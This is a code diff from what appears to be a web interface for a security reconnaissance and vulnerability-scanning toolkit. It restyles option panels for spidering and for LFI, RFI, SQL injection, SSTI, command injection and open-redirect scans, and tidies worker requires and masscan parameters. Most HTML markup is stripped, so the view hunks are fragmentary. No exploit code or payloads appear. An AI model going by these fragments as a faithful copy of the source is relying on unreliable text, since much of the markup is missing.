<%=h error %>

+ <% end %> + <% else %> + + <% end %>
diff --git a/views/spider.erb b/views/spider.erb index 2c92b43..4d20527 100644 --- a/views/spider.erb +++ b/views/spider.erb @@ -1,3 +1,4 @@ +

Spider

@@ -29,10 +30,19 @@
-
- Advanced Options + -
+
+
@@ -62,9 +72,9 @@ <% end %>
+
-

Header Options:

- + -

Timeout Options:

- +
@@ -186,9 +196,9 @@ <% end %>
+
-

Limit Options:

- +
@@ -218,21 +228,21 @@ <% end %>
+
-

URI Normalization Options:

- +
- + >
- + >
+
-

Allow/Ignore Options:

- +
diff --git a/views/vulns.erb b/views/vulns.erb index a590536..a6ae149 100644 --- a/views/vulns.erb +++ b/views/vulns.erb @@ -1,3 +1,4 @@ +

Vulnerabilities

@@ -21,12 +22,19 @@
-
- Advanced Options - -
-

LFI

+ +
+
@@ -68,9 +76,9 @@
+
-

RFI

- +
@@ -99,26 +107,26 @@ <% end %>
+
-

SQLI

- +
- + >
- + >
- + >
+
-

SSTI

- +
@@ -133,9 +141,9 @@
+
-

Command Injection

- +
@@ -183,9 +191,9 @@ <% end %>
+
-

Open Redirect

- +
diff --git a/workers.rb b/workers.rb index 76f4a72..a004e48 100644 --- a/workers.rb +++ b/workers.rb @@ -20,18 +20,18 @@ $LOAD_PATH.unshift(File.join(__dir__,'lib')) -require './config/sidekiq' -require './config/database' +require_relative 'config/sidekiq' +require_relative 'config/database' -require './workers/install_repo' -require './workers/update_repo' -require './workers/update_repos' -require './workers/remove_repo' -require './workers/purge_repos' +require_relative 'workers/install_repo' +require_relative 'workers/update_repo' +require_relative 'workers/update_repos' +require_relative 'workers/remove_repo' +require_relative 'workers/purge_repos' -require './workers/nmap' -require './workers/masscan' -require './workers/import' -require './workers/spider' -require './workers/recon' -require './workers/vulns' +require_relative 'workers/nmap' +require_relative 'workers/masscan' +require_relative 'workers/import' +require_relative 'workers/spider' +require_relative 'workers/recon' +require_relative 'workers/vulns' diff --git a/workers/masscan.rb b/workers/masscan.rb index 08cfaab..6bb1b21 100644 --- a/workers/masscan.rb +++ b/workers/masscan.rb @@ -39,8 +39,8 @@ class Masscan # The accepted JSON params which will be passed to {Masscan#perform}. Params = Dry::Schema::JSON() do required(:ips).array(:string).each(:string) + required(:ports).filled(:string) - optional(:ports).maybe(:string) optional(:banners).maybe(:bool) optional(:rate).maybe(:integer) optional(:config_file).maybe(:string)